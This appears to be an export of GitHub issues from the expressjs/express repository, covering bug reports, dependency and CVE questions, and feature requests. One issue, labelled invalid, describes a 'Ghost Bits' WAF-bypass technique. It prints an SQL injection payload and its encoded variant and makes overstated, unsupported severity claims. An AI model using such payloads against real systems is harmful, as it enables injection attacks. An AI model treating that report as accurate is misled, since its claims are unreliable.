export const showAppRoutes = (app: Express): v... [TRUNCATED]",duplicate,2026-05-19 10:10:44+00:00,2026-05-19 10:46:41+00:00,1,duplicate,0.025,add util to print full paths of routes and methods registered across the application i am asking someone to implement the feature i request a feature to print all available routes registered in very easy way to handle something like registeredroutes and it would return for example an array of routes i ve seen many people online build their own solutions to retrieve all available routes but every version of express changes a bit its structure and it gets harder to do so without very nasty looking tricks i did mine too but now i just don t know how to do it my current solution allows me to just copy the route and use it in postman also helps with visibility as i can just print all routes and see if i can find useful endpoint t z app info app registered routes t z app info available route get api docs t z app info available route get api docs json t z app info available route post api data integration service profile t z app info available route get health t z app info available route get sandbox right now i have a function called showapproutes app its code looks like this import type express from express import logger from infra logger import approutes apiroutes from routes type routeinfo method string path string export const showapproutes app express v truncated,others,0.9633
expressjs/express,4408444213,const declaration inside switch case without block in res.send() (no-case-declarations),"                                                                                                                                                                        
  ## Description  

  `res.send()` in `lib/response.js` declares `const type` directly inside a `switch` case clause without wrapping the case body in braces `{}`.                           
   
  Lexical declarations (`const`/`let`) inside a `switch` case without a block are scoped to the **entire** `switch` statement, not just that case. This means `type` is   
  technically accessible (but in the Temporal Dead Zone) from every other `case` branch — which can cause a `ReferenceError` if any other case tries to reference it
  before initialization. This is exactly the pattern the ESLint `no-case-declarations` rule guards against.                                                               
                  
  ## Location

  `lib/response.js`, line 137

  ## Current Code

  ```js
  case 'string':
    encoding = 'utf8';                                                                                                                                                    
    const type = this.get('Content-Type');
                                                                                                                                                                          
    if (typeof type === 'string') {
      this.set('Content-Type', setCharset(type, 'utf-8'));
    } else {                            ... [TRUNCATED]",,2026-05-08 18:13:43+00:00,2026-05-08 18:45:22+00:00,1,nan,0.022,const declaration inside switch case without block in res send no case declarations description in declares directly inside a case clause without wrapping the case body in braces lexical declarations inside a case without a block are scoped to the entire statement not just that case this means is technically accessible but in the temporal dead zone from every other branch which can cause a if any other case tries to reference it before initialization this is exactly the pattern the eslint rule guards against location line current code js case string encoding utf const type this get content type if typeof type string this set content type setcharset type utf else truncated,others,-0.7306
expressjs/express,4342445468,SECURITY: Ghost Bits Vulnerability - String to byte conversion silently truncates high bits,"# Ghost Bits Vulnerability in Express

## Summary

A critical security vulnerability has been identified in JavaScript's string-to-byte conversion mechanism that affects applications using Express. The vulnerability, dubbed ""Ghost Bits,"" enables attackers to bypass WAF detection and execute SQL injection, path traversal, XSS, and command injection attacks by exploiting high-bit truncation during type conversions from UTF-16 strings to bytes.

## Severity

**Critical** - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8)

## Affected Components

- Express query parameter handling
- Express form data processing
- Express path parameter parsing

## Affected Versions

All versions

## Technical Details

### Vulnerability Mechanism

When JavaScript code converts strings to bytes using `charCodeAt() & 0xFF` or `Buffer.from(..., 'latin1')`, high bits are silently discarded:

```javascript
// Method 1: charCodeAt() & 0xFF
const ch = '\u2F58';  // 爻 (U+2F58) = 0x2F58
const byte = ch.charCodeAt(0) & 0xFF;  // Only low 8 bits: 0x58 = 'X'

// Method 2: Buffer.from(..., 'latin1')
const str = '爻';
const buffer = Buffer.from(str, 'latin1');  // [0x58], truncation!
```

**Critical Finding**: JavaScript has no compiler, so there are no warnings for these dangerous conversions. This makes the vulnerability **extremely easy to exploit**.

### Attack Example

**SQL Injection Bypass**:

```javascript
// Original payload: ' OR '1'='1
// Ghost Bits payload: ħ OR ħ1ħ=ħ1

// WAF sees: ""ħ OR ħ1ħ=ħ1"" (... [TRUNCATED]",invalid,2026-04-28 10:37:14+00:00,2026-04-28 11:55:19+00:00,1,invalid,0.0542,security ghost bits vulnerability string to byte conversion silently truncates high bits ghost bits vulnerability in express summary a critical security vulnerability has been identified in javascript s string to byte conversion mechanism that affects applications using express the vulnerability dubbed ghost bits enables attackers to bypass waf detection and execute sql injection path traversal xss and command injection attacks by exploiting high bit truncation during type conversions from utf strings to bytes severity critical cvss av n ac l pr n ui n s u c h i h a h affected components express query parameter handling express form data processing express path parameter parsing affected versions all versions technical details vulnerability mechanism when javascript code converts strings to bytes using or high bits are silently discarded critical finding javascript has no compiler so there are no warnings for these dangerous conversions this makes the vulnerability extremely easy to exploit attack example sql injection bypass javascript original payload or ghost bits payload or waf sees or truncated,others,-0.9892
expressjs/express,4313886490,Looking for RJSF (React JSON Schema Form) alternative in Express (EJS / server-side),"Hi everyone,

I’m working on an Express.js application (with EJS templates) and I have a requirement to build forms dynamically using JSON schema.

I’m aware of react-jsonschema-form (RJSF), but it’s React-based and not suitable for my current setup since I’m not using a frontend framework.

Currently, I’m generating forms manually by looping through a JSON schema in EJS, but I’m looking for a more structured or library-based approach that can:

Generate form UI from JSON schema
Support basic validation
Work with server-side rendering (Express/EJS)
Ideally reduce manual template logic

Is there any library or approach in the Express ecosystem that provides functionality similar to RJSF?

Or is building a custom solution (schema + EJS + validation like Ajv) the recommended approach?

Would appreciate any suggestions, best practices, or examples.

Thanks!",,2026-04-23 06:05:48+00:00,2026-04-23 10:36:02+00:00,0,nan,0.1877,looking for rjsf react json schema form alternative in express ejs server side hi everyone i m working on an express js application with ejs templates and i have a requirement to build forms dynamically using json schema i m aware of react jsonschema form rjsf but it s react based and not suitable for my current setup since i m not using a frontend framework currently i m generating forms manually by looping through a json schema in ejs but i m looking for a more structured or library based approach that can generate form ui from json schema support basic validation work with server side rendering express ejs ideally reduce manual template logic is there any library or approach in the express ecosystem that provides functionality similar to rjsf or is building a custom solution schema ejs validation like ajv the recommended approach would appreciate any suggestions best practices or examples thanks,others,0.9843
expressjs/express,4304981379,CI: consider adding npm dependency caching to setup-node step,"I was exploring the CI workflow as part of my university project on GitHub Actions and noticed that the setup-node step doesn't currently include dependency caching.

The current setup-node step looks like this:

- uses: actions/setup-node@6044e13b5dc448c55e2357c09f80417699197238 # v6.2.0
  with:
    node-version: 'lts/*'

Adding cache: 'npm' would allow GitHub Actions to cache node_modules between runs, which can reduce install time on repeated builds:

- uses: actions/setup-node@6044e13b5dc448c55e2357c09f80417699197238 # v6.2.0
  with:
    node-version: 'lts/*'
    cache: 'npm'

I tested this on my own Node.js project and it worked without any other changes needed. I appreciate this may already be a considered decision, so happy to hear if there's a reason it's been left out.",question,2026-04-21 20:00:16+00:00,2026-05-06 22:56:01+00:00,2,question,15.122,ci consider adding npm dependency caching to setup node step i was exploring the ci workflow as part of my university project on github actions and noticed that the setup node step doesn t currently include dependency caching the current setup node step looks like this uses actions setup node e b dc c e c f v with node version lts adding cache npm would allow github actions to cache node modules between runs which can reduce install time on repeated builds uses actions setup node e b dc c e c f v with node version lts cache npm i tested this on my own node js project and it worked without any other changes needed i appreciate this may already be a considered decision so happy to hear if there s a reason it s been left out,help,0.9436
expressjs/express,4275004791,res.json() throws cryptic TypeError for BigInt values with no actionable message,"When a route handler calls res.json() with an object containing a BigInt value, Express throws a raw, cryptic error from deep inside JSON.stringify() with no hint about which field caused it or how to fix it.

**Steps to reproduce**

```
 app.get('/user', (req, res) => {
    res.json({ id: BigInt(9007199254740991), name: 'Alice' });
  });

  // Server crashes with:
  // TypeError: Do not know how to serialize a BigInt
  //     at JSON.stringify ()
  //     at stringify (.../node_modules/express/lib/response.js:...)
  //     ...
  //
  // No mention of which key caused it. No suggestion for a fix.
```

**Expected behaviour**

A clear, actionable error message that:
  1. Identifies that a BigInt was the cause
  2. Points the developer to the solution (json replacer)

Example of a good error:
```
  ""res.json() cannot serialize BigInt values by default.
   Use app.set('json replacer') with a custom replacer function.
   Example:
     app.set('json replacer', (key, val) =>
       typeof val === 'bigint' ? val.toString() : val
     );""
```


",,2026-04-16 10:28:13+00:00,2026-04-16 18:41:06+00:00,2,nan,0.3423,res json throws cryptic typeerror for bigint values with no actionable message when a route handler calls res json with an object containing a bigint value express throws a raw cryptic error from deep inside json stringify with no hint about which field caused it or how to fix it expected behaviour a clear actionable error message that identifies that a bigint was the cause points the developer to the solution json replacer example of a good error,bug,0.25
expressjs/express,4262651060,Single item array query parameter not correctly parsed in Azure App Services in 5.2.1,"When we deploy our app on Azure App Services, a single query parameter is not parsed when using the `?param[]=value` notation. Express will show this as a query param with the name `param[]` and the value `value`, while locally we get the correct behaviour: `param` and value `[value]
`
## Environment information

**Version**: 5.2.1

**Platform**: Linux Azure App Services

**Node.js version**: 24

**Any other relevant information**: Issue only occurs when running on Azure App Services. When running locally, it works as expected

**This issue started for us after upgrading to the 5.2.1 version.** We had no issues when running the 4.18.x version

## What steps will reproduce the bug?

Add a debug endpoint, e.g.;
```Typescript
router.get(""/debug/query"", (req: Request, res: Response) => {
	const rawQueryString = req.originalUrl.split(""?"")[1] ?? """";

	return res.json({
		parsedQuery: req.query,
		rawQuery: {
			queryString: rawQueryString,
		},
	});
});
```

Send a request with the query format `?param[]=value`.
",bug,2026-04-14 14:14:56+00:00,2026-04-14 22:45:37+00:00,0,bug,0.3546,single item array query parameter not correctly parsed in azure app services in when we deploy our app on azure app services a single query parameter is not parsed when using the notation express will show this as a query param with the name and the value while locally we get the correct behaviour and value value rmation version platform linux azure app services node js version any other relevant information issue only occurs when running on azure app services when running locally it works as expected this issue started for us after upgrading to the version we had no issues when running the x version what steps will reproduce the bug add a debug endpoint e g send a request with the query format,bug,0.25
expressjs/express,4185287636,req.query will produce object instead of array when it contains more than 20 values in v4.22.X,"<!-- The process for bug fixing is:

- We will first assess if the behavior is different from what should occur
- Confirm the bug is reproducible
- Discuss how to best fix the bug
- Work towards a fix
-->

## Environment information

**Version**: 4.22.1 / 4.22.X
<!-- 
To find the installed version of a package, you can check the `package.json` file in the root directory of your project. The version will be listed under `dependencies` or `devDependencies`, like this:

```json
""dependencies"": {
  ""express"": ""4.18.2""
}
-->

**Platform**: MacOS / Linux
<!-- 
UNIX: output of uname -a
Windows: output of ""$([Environment]::OSVersion.VersionString) $(('x86', 'x64')[[Environment]::Is64BitOperatingSystem])"" in PowerShell console 
-->

**Node.js version**: 24.14.1
<!-- 
Output of node -v.
-->

**Any other relevant information**:

## What steps will reproduce the bug?

Consider following API query:

`GET /reports/download?tenancyIds=35&tenancyIds=28&tenancyIds=149&tenancyIds=157&tenancyIds=158&tenancyIds=159&tenancyIds=161&tenancyIds=160&tenancyIds=162&tenancyIds=163&tenancyIds=164&tenancyIds=165&tenancyIds=166&tenancyIds=167&tenancyIds=7&tenancyIds=196&tenancyIds=195&tenancyIds=198&tenancyIds=70&tenancyIds=6` 

Prior to version 4.22.X, when calling with query regardless of numbers, `req.query.tenancyIds` will always produce as array:
```
[
  '35',  '28',  '149', '157',
  '158', '159', '161', '160',
  '162', '163', '164', '165',
  '166', '167', '7',   '196',
   '195', '198', '70',  '6'
] ... [TRUNCATED]","bug,4.x,5.x",2026-04-01 08:55:11+00:00,2026-05-11 18:55:08+00:00,3,"bug,4.x,5.x",40.4166,req query will produce object instead of array when it contains more than values in v x the process for bug fixing is we will first assess if the behavior is different from what should occur confirm the bug is reproducible discuss how to best fix the bug work towards a fix rmation version x to find the installed version of a package you can check the file in the root directory of your project the version will be listed under or like this truncated,bug,0.6887
expressjs/express,4177237150,Vulnerable dependency version that is 12 years old: path-to-regexp,"<!-- The process for bug fixing is:

- We will first assess if the behavior is different from what should occur
- Confirm the bug is reproducible
- Discuss how to best fix the bug
- Work towards a fix
-->

## Environment information

**Version**:
4.22.1
<!-- 
To find the installed version of a package, you can check the `package.json` file in the root directory of your project. The version will be listed under `dependencies` or `devDependencies`, like this:

```json
""dependencies"": {
  ""express"": ""4.18.2""
}
-->

**Platform**:
all platforms

**Node.js version**:
<!-- 
Output of node -v.
-->
22.x (irrelevant)

**Any other relevant information**:
https://security.snyk.io/package/npm/path-to-regexp
https://www.npmjs.com/package/path-to-regexp?activeTab=versions

## What steps will reproduce the bug?
running npm audit
","4.x,question,awaiting more info",2026-03-31 08:43:23+00:00,2026-04-01 23:37:23+00:00,3,"4.x,question,awaiting more info",1.6208,vulnerable dependency version that is years old path to regexp the process for bug fixing is we will first assess if the behavior is different from what should occur confirm the bug is reproducible discuss how to best fix the bug work towards a fix rmation version to find the installed version of a package you can check the file in the root directory of your project the version will be listed under or like this json dependencies express platform all platforms node js version output of node v x irrelevant any other relevant information what steps will reproduce the bug running npm audit,help,-0.296
expressjs/express,4080813240,[Test] issue creation,Test,invalid,2026-03-16 07:48:14+00:00,2026-03-16 07:49:19+00:00,0,invalid,0.0008,test issue creation test,bug,0.2732
expressjs/express,4006156498,Built-in /docs endpoint similar to FastAPI for automatic API documentation,"## Feature Request

It would be extremely helpful if Express provided a built-in `/docs` endpoint (similar to FastAPI) that automatically generates interactive API documentation.

## Motivation

Frameworks like FastAPI provide automatic OpenAPI/Swagger documentation at `/docs` by default. This significantly improves:

- Developer experience
- Faster API testing
- Quick onboarding for contributors
- Reduced dependency on external tools like Postman for small APIs

Currently in Express, developers need to manually integrate third-party packages such as:
- swagger-ui-express
- swagger-jsdoc
- Redoc

While these solutions work well, having an optional built-in documentation middleware would make Express even more developer-friendly, especially for small projects, prototypes, and teaching environments.

## Proposed Solution

Provide an optional built-in middleware that:

- Auto-detects registered routes
- Generates OpenAPI schema automatically
- Serves interactive documentation at `/docs`
- Can be enabled with something like:

```js
app.enableDocs();",duplicate,2026-03-01 03:49:20+00:00,2026-03-01 14:17:13+00:00,2,duplicate,0.436,built in docs endpoint similar to fastapi for automatic api documentation feature request it would be extremely helpful if express provided a built in endpoint similar to fastapi that automatically generates interactive api documentation motivation frameworks like fastapi provide automatic openapi swagger documentation at by default this significantly improves developer experience faster api testing quick onboarding for contributors reduced dependency on external tools like postman for small apis currently in express developers need to manually integrate third party packages such as swagger ui express swagger jsdoc redoc while these solutions work well having an optional built in documentation middleware would make express even more developer friendly especially for small projects prototypes and teaching environments proposed solution provide an optional built in middleware that auto detects registered routes generates openapi schema automatically serves interactive documentation at can be enabled with something like js app enabledocs,documentation,0.9752
expressjs/express,3983644281,Some libraries used are more than 12 months old,"some of these libraries are direct and some are transitively used by express and these are more than 12 months old. When we use this in our products these get highlighted as ""outdatedLib"" in blackduck for example . How does express handle libraries that does not have regular updates and still ensure they are secure. Could you please give a comment..

Libs
--
accepts
mime-types
mime-db
negotiator
bytes
content-type
cookie-signature
debug/2.6.9
debug/3.1.0
debug/4.4.0
debug/4.4.1
depd
fresh
inherits
on-finished
ee-first
parseurl
qs
object-inspect
range-parser
http-errors
mime
statuses
serve-static
send
encodeurl
type-is
media-typer
","duplicate,question",2026-02-24 13:08:25+00:00,2026-02-24 13:19:35+00:00,1,"duplicate,question",0.0078,some libraries used are more than months old some of these libraries are direct and some are transitively used by express and these are more than months old when we use this in our products these get highlighted as outdatedlib in blackduck for example how does express handle libraries that does not have regular updates and still ensure they are secure could you please give a comment libs accepts mime types mime db negotiator bytes content type cookie signature debug debug debug debug depd fresh inherits on finished ee first parseurl qs object inspect range parser http errors mime statuses serve static send encodeurl type is media typer,help,0.8176
expressjs/express,3908195438,Report: publish security analysis findings and recommendations,"Phase: Report

Tasks:
- Synthesize mapping, quality, and problems into a concise report
- Post report to main issue as a comment
- Close all phase sub-issues and mark main issue done

Will close this sub-issue when the report is published and other sub-issues closed.",,2026-02-06 19:47:53+00:00,2026-02-06 20:02:02+00:00,1,nan,0.0098,report publish security analysis findings and recommendations phase report tasks synthesize mapping quality and problems into a concise report post report to main issue as a comment close all phase sub issues and mark main issue done will close this sub issue when the report is published and other sub issues closed,others,-0.0772
expressjs/express,3908195027,Problems: identify security issues and risky patterns,"Phase: Problems

Tasks:
- From mapping and quality findings, list concrete security problems (misconfigurations, risky APIs, missing docs)
- Prioritize by severity and exploitability
- Create actionable recommendations for maintainers

Will close this sub-issue when problems are documented.",,2026-02-06 19:47:45+00:00,2026-02-06 19:58:30+00:00,1,nan,0.0075,problems identify security issues and risky patterns phase problems tasks from mapping and quality findings list concrete security problems misconfigurations risky apis missing docs prioritize by severity and exploitability create actionable recommendations for maintainers will close this sub issue when problems are documented,bug,-0.8271
expressjs/express,3908194778,Quality: review security-related files and code,"Phase: Quality

Tasks:
- Locate SECURITY.md or similar docs
- Review core source files for security patterns (req handling, parameter parsing, header handling)
- Search codebase for uses of 'eval', 'new Function', 'child_process', 'crypto' misuse, and unsafe defaults
- Document findings and examples

Will close this sub-issue when analysis is complete.",,2026-02-06 19:47:39+00:00,2026-02-06 19:55:37+00:00,1,nan,0.0055,quality review security related files and code phase quality tasks locate security md or similar docs review core source files for security patterns req handling parameter parsing header handling search codebase for uses of eval new function child process crypto misuse and unsafe defaults document findings and examples will close this sub issue when analysis is complete,others,0.7351
expressjs/express,3908194370,"Mapping: repository tree, branches, commits","Phase: Mapping

Tasks:
- Retrieve the full repository tree
- List branches
- List recent commits (perPage: 50)
- Attach findings to the main issue as comments

Will close this sub-issue when mapping is complete.",,2026-02-06 19:47:32+00:00,2026-02-06 19:50:26+00:00,2,nan,0.002,mapping repository tree branches commits phase mapping tasks retrieve the full repository tree list branches list recent commits perpage attach findings to the main issue as comments will close this sub issue when mapping is complete,others,0.0516
expressjs/express,3908193528,🔍 Security Practices Analysis: expressjs/express,"Initiating an automated security practices analysis for the expressjs/express repository.

Planned phases:
1. Mapping: repository tree, branches, commit history
2. Quality: review security-related files (e.g., SECURITY.md, docs, core code), search for security patterns
3. Problems: identify potential security issues and risky patterns
4. Report: summarize findings and recommendations

Sub-issues will be created for each phase and closed as they complete.",,2026-02-06 19:47:18+00:00,2026-02-06 20:01:38+00:00,3,nan,0.01,security practices analysis expressjs express initiating an automated security practices analysis for the expressjs express repository planned phases mapping repository tree branches commit history quality review security related files e g security md docs core code search for security patterns problems identify potential security issues and risky patterns report summarize findings and recommendations sub issues will be created for each phase and closed as they complete,others,0.9022
expressjs/express,3895213287,Update body-parser dependency in https://github.com/expressjs/express/tree/4.x/ to `1.20.4`,Currently at `1.20.3` containing malicious `qs` module version,"4.x,deps",2026-02-04 08:02:22+00:00,2026-02-14 15:14:37+00:00,5,"4.x,deps",10.3002,update body parser dependency in to currently at containing malicious module version,others,0.0
expressjs/express,3885586469,Developer Tools Integration: Free Online JSON Formatter for Express Developers,"Hi Express team,

I'm developing a free online developer tools platform called [AngriL DevTools](https://www.angril.com:8080) that provides essential tools for Express developers:

- **JSON Formatter/Minifier**: Perfect for formatting API responses and debugging JSON data
- **Base64 Encoder/Decoder**: Useful for handling authentication tokens and encoded data
- **Timestamp Converter**: Helpful for working with date/time data in Express applications
- **API Testing Tool**: Built-in tool for testing REST APIs built with Express

Since many Express developers work with JSON data and APIs daily, these tools could be valuable additions to the developer ecosystem.

The platform is completely free, open to all developers, and designed with modern web development workflows in mind.

I'd love to get feedback from the Express community on what additional tools would be most useful, or explore any potential collaboration opportunities.

Thanks for your amazing work on Express!

Best regards,
AngriL DevTools Team",,2026-02-02 12:08:35+00:00,2026-02-02 13:40:55+00:00,0,nan,0.0641,developer tools integration free online json formatter for express developers hi express team i m developing a free online developer tools platform called angril devtools that provides essential tools for express developers json formatter minifier perfect for formatting api responses and debugging json data base encoder decoder useful for handling authentication tokens and encoded data timestamp converter helpful for working with date time data in express applications api testing tool built in tool for testing rest apis built with express since many express developers work with json data and apis daily these tools could be valuable additions to the developer ecosystem the platform is completely free open to all developers and designed with modern web development workflows in mind i d love to get feedback from the express community on what additional tools would be most useful or explore any potential collaboration opportunities thanks for your amazing work on express best regards angril devtools team,others,0.9918
expressjs/express,3835902103,dependency on @types/express-serve-static-core induced incompatibility,"## Environment information

**Version**:
express 5.2.1
@types/express 5.0.6

**Platform**:
windows 11 x64 and ubuntu 24.04.3

**Node.js version**:
24.13.0

**Any other relevant information**:

## What steps will reproduce the bug?


currently express typing have dependency
""@types/express-serve-static-core"": ""^5.0.0"",

which installs @types/express-serve-static-core 5.1.1, which is incompatible
works up to 5.1.0

so massive same errors like this
```
error TS2345: Argument of type 'string | string[]' is not assignable to parameter of type 'string'.
  Type 'string[]' is not assignable to type 'string'.

80         const id = parseInt(req.params.id);
```
generated

and this makes the documentation on 
https://expressjs.com/en/5x/api.html
useless, in that documentation, same ""req.params.id"" is used

@types/express-serve-static-core should be fixed","question,typescript",2026-01-20 23:33:25+00:00,2026-01-21 00:14:48+00:00,1,"question,typescript",0.0287,dependency on types express serve static core induced incompatibility rmation version express types express platform windows x and ubuntu node js version any other relevant information what steps will reproduce the bug currently express typing have dependency types express serve static core which installs types express serve static core which is incompatible works up to so massive same errors like this generated and this makes the documentation on useless in that documentation same req params id is used types express serve static core should be fixed,help,-0.7152
expressjs/express,3784509203,Vulnerability in express 5.2.1,"On https://osv.dev//vulnerability/MAL-2025-192968 there is a reported security vulnerability in express 5.2.1 (reported on 30.12.2025). We got an according alert from Blackduck in our project, that analyzed our dependencies.

- How this vulnerability can be exploited? Just by installing 5.2.1 on a system?
- Are there other versions than 5.2.1 affected?
- Will there be a fix soon?",question,2026-01-06 09:51:56+00:00,2026-01-06 10:58:12+00:00,2,question,0.046,vulnerability in express on there is a reported security vulnerability in express reported on we got an according alert from blackduck in our project that analyzed our dependencies how this vulnerability can be exploited just by installing on a system are there other versions than affected will there be a fix soon,help,-0.296
expressjs/express,3783715213,Update transitive dependency qs to >= 6.14.1 to address CVE-2025-15284,"**Issue Description**

Hello Express maintainers 👋,

We are using express@4.21.2, which relies on the qs package for parsing query strings.

Versions of qs prior to 6.14.1 are affected by CVE-2025-15284 / GHSA-6rw7-vpxm-498p, where the configured arrayLimit can be bypassed using bracket notation (a[]=x). This allows unbounded array creation and can lead to denial-of-service via memory exhaustion.

**Affected Dependency Chain**
express@4.21.2
└─ qs (< 6.14.1)

**Impact**
Express applications commonly parse user-controlled query parameters, making this issue externally exploitable in production environments.
Even when arrayLimit is explicitly configured by the application, vulnerable qs versions ignore the limit for bracket notation, allowing a single crafted request to consume excessive memory and impact service availability.

**Suggested Fix**

Update the resolved qs dependency to the patched version:
qs >= 6.14.1

This version enforces arrayLimit consistently for both indexed and bracket notation and fully addresses CVE-2025-15284.

**References**
CVE-2025-15284
GHSA-6rw7-vpxm-498p
[References link](https://github.com/ljharb/qs/security/advisories/GHSA-6rw7-vpxm-498p)",,2026-01-06 04:41:49+00:00,2026-01-06 06:23:39+00:00,1,nan,0.0707,update transitive dependency qs to to address cve issue description hello express maintainers we are using express which relies on the qs package for parsing query strings versions of qs prior to are affected by cve ghsa rw vpxm p where the configured arraylimit can be bypassed using bracket notation a x this allows unbounded array creation and can lead to denial of service via memory exhaustion affected dependency chain express qs impact express applications commonly parse user controlled query parameters making this issue externally exploitable in production environments even when arraylimit is explicitly configured by the application vulnerable qs versions ignore the limit for bracket notation allowing a single crafted request to consume excessive memory and impact service availability suggested fix update the resolved qs dependency to the patched version qs this version enforces arraylimit consistently for both indexed and bracket notation and fully addresses cve references cve ghsa rw vpxm p references link,others,-0.4215
expressjs/express,3776253902,update to `qs@^6.14.1`," 
- Failure issue:
> - https://github.com/advisories/GHSA-6rw7-vpxm-498p 
- A few days ago, the following security flaw was discovered in lib qs. However, no issue or PR was found regarding this flaw or a possible solution.
- Projects that use Express are vulnerable and without solutions for the flaw.
- Please let us know when you can. Thank you!",5.x,2026-01-02 12:16:42+00:00,2026-01-07 14:46:38+00:00,17,5.x,5.1041,update to failure issue a few days ago the following security flaw was discovered in lib qs however no issue or pr was found regarding this flaw or a possible solution projects that use express are vulnerable and without solutions for the flaw please let us know when you can thank you,others,0.1486
expressjs/express,3775884334,"Test failure: urlencoded parser returns {""0"":""val1"",""1"":""val2""} instead of [""val1"",""val2""] for duplicate keys","## Environment information

**Version**:

express: 5.2.1
body-parser: ^2.2.1

**Platform**:

Darwin 25.1.0 (macOS)

**Node.js version**:

>= 18 (as specified in package.json engines)

**Any other relevant information**:
- Test framework: Mocha ^10.7.3
- Testing library: Supertest ^6.3.0
- This appears to be related to body-parser 2.x behavior changes

## What steps will reproduce the bug?

1. Run the test suite:

npm test

2. Or run the specific failing test:

npm test -- --grep ""should parse multiple key instances""

## Expected behavior

When parsing URL-encoded data with duplicate keys using express.urlencoded({ extended: false }), the parser should return an array:

**Request:**
POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded

user=Tobi&user=Loki

**Expected response:**
{""user"":[""Tobi"",""Loki""]}

## Actual behavior

The parser returns an object with numeric keys instead of an array:

**Actual response:**
{""user"":{""0"":""Tobi"",""1"":""Loki""}}

## Test failure output

```
express.urlencoded()
       with extended option
         when false
           should parse multiple key instances:
     Error: expected '{""user"":[""Tobi"",""Loki""]}' response body, got '{""user"":{""0"":""Tobi"",""1"":""Loki""}}'
      at Context.<anonymous> (test/express.urlencoded.js:106:12)
```

## Affected test

File: test/express.urlencoded.js, lines 101-107

```
it('should parse multiple key instances', function (done) {
  request(this.app)
    .post('/')
    .set('Content-Type', 'application/x-www-for... [TRUNCATED]",bug,2026-01-02 08:52:41+00:00,2026-01-05 08:10:29+00:00,2,bug,2.9707,test failure urlencoded parser returns val val instead of val val for duplicate keys rmation version express body parser platform darwin macos node js version as specified in package json engines any other relevant information test framework mocha testing library supertest this appears to be related to body parser x behavior changes what steps will reproduce the bug run the test suite npm test or run the specific failing test npm test grep should parse multiple key instances when parsing url encoded data with duplicate keys using express urlencoded extended false the parser should return an array request post http content type application x www form urlencoded user tobi user loki expected response user tobi loki the parser returns an object with numeric keys instead of an array actual response user tobi loki test failure output affected test file test express urlencoded js lines it should parse multiple key instances function done request this app post set content type application x www for truncated,bug,-0.926
expressjs/express,3719242766,Outdated dependencies detected in package,"### Description

We are using your package as a dependency in our project.
 
In our internal security scan (conducted via Black Duck), we found that some of the dependencies included in your package have not been updated for more than 12 months.

This includes both runtime and transitive dependencies that are part of your package's dependency tree.
We are raising this issue to make you aware of this observation. Are these outdated dependencies something you plan to update?

Outdated Dependency List (from Black Duck scan)
The following are the dependencies (direct or transitive) in your package that were identified as outdated (last updated >12 months ago):

| Library Name              | Current Version | Package Name       | Package Version |
|:--------------------------|:---------------:|:------------------:|----------------:|
| expressjs/accepts         | 2.0.0           | expressjs/express  | 5.2.1           |
| ispromise                 | 4.0.0           | expressjs/express  | 5.2.1           |
| jshttp/fresh              | 2.0.0           | expressjs/express  | 5.2.1           |
| JSHTTP's negotiator       | 1.0.0           | expressjs/express  | 5.2.1           |
| merge-descriptors         | 2.0.0           | expressjs/express  | 5.2.1           |
| Node Cookie Parser        | 0.7.2           | expressjs/express  | 5.2.1           |
| node-cookie-signature     | 1.2.2           | expressjs/express  | 5.2.1           |
| nodejs Deprecate          | 2.0.0           | exp... [TRUNCATED]",,2025-12-11 12:40:06+00:00,2025-12-11 14:43:23+00:00,1,nan,0.0856,outdated dependencies detected in package description we are using your package as a dependency in our project in our internal security scan conducted via black duck we found that some of the dependencies included in your package have not been updated for more than months this includes both runtime and transitive dependencies that are part of your package s dependency tree we are raising this issue to make you aware of this observation are these outdated dependencies something you plan to update outdated dependency list from black duck scan the following are the dependencies direct or transitive in your package that were identified as outdated last updated months ago library name current version package name package version expressjs accepts expressjs express ispromise expressjs express jshttp fresh expressjs express jshttp s negotiator expressjs express merge descriptors expressjs express node cookie parser expressjs express node cookie signature expressjs express nodejs deprecate exp truncated,others,0.7184
expressjs/express,3689836693,Dynamic remove route,"From all the documentation, I understand that Express can add routes dynamically, but it can't delete them. What kind of crazy nonsense is this? Using hacks isn't good programming practice. It's a library that's not fully developed.
Let's say I'm building a CMS or API server with plugin support.
Registering plugins (routes, models, etc.) is no problem.
Unloading a plugin—that's where the problems begin.
Disabling models and adding their status to the database is possible.
But the route remains. And that's where problems with the application logic begin. Lots of errors, etc.
Question: When can I expect proper route deletion in Express, so that the application reports a missing URL and throws an error about it?",,2025-12-03 11:31:05+00:00,2025-12-03 22:47:45+00:00,2,nan,0.4699,dynamic remove route from all the documentation i understand that express can add routes dynamically but it can t delete them what kind of crazy nonsense is this using hacks isn t good programming practice it s a library that s not fully developed let s say i m building a cms or api server with plugin support registering plugins routes models etc is no problem unloading a plugin that s where the problems begin disabling models and adding their status to the database is possible but the route remains and that s where problems with the application logic begin lots of errors etc question when can i expect proper route deletion in express so that the application reports a missing url and throws an error about it,others,-0.9767
expressjs/express,3682897833,Request.accepts documentation,"### Description

I want to contribute, I say  * To do: update docs.* in Request.accepts.
How would you like me to update the docs?


### Expectations

Guide on how to implement or just remove the comment :)",,2025-12-01 21:15:44+00:00,2026-01-16 21:19:40+00:00,4,nan,46.0027,request accepts documentation description i want to contribute i say to do update docs in request accepts how would you like me to update the docs expectations guide on how to implement or just remove the comment,feature,0.7506
expressjs/express,3664404291,Fix import path in content-negotiation example,"The example uses require('../../'), which only works inside the Express repo. It breaks in normal projects. It should use require('express') instead.",,2025-11-25 19:55:03+00:00,2025-11-30 19:41:55+00:00,3,nan,4.9909,fix import path in content negotiation example the example uses require which only works inside the express repo it breaks in normal projects it should use require express instead,bug,0.3612
expressjs/express,3663287308,[Documentation] Add async/await error handling best practices guide,"## Description
Many developers struggle with properly handling errors in async/await Express routes. A dedicated section in the documentation covering this pattern would be very helpful.

## Current Situation
The error handling documentation primarily covers synchronous patterns. With async/await being the standard for modern Node.js applications, explicit guidance would help prevent unhandled promise rejections.

## Suggested Documentation Addition
A section covering:

```javascript
// Wrapper function for async routes
const asyncHandler = (fn) => (req, res, next) => {
  Promise.resolve(fn(req, res, next)).catch(next);
};

// Usage example
app.get('/users/:id', asyncHandler(async (req, res) => {
  const user = await User.findById(req.params.id);
  res.json(user);
}));
```

## Benefits
1. Reduces common errors for Express beginners
2. Promotes proper error handling patterns
3. Prevents unhandled promise rejections in production

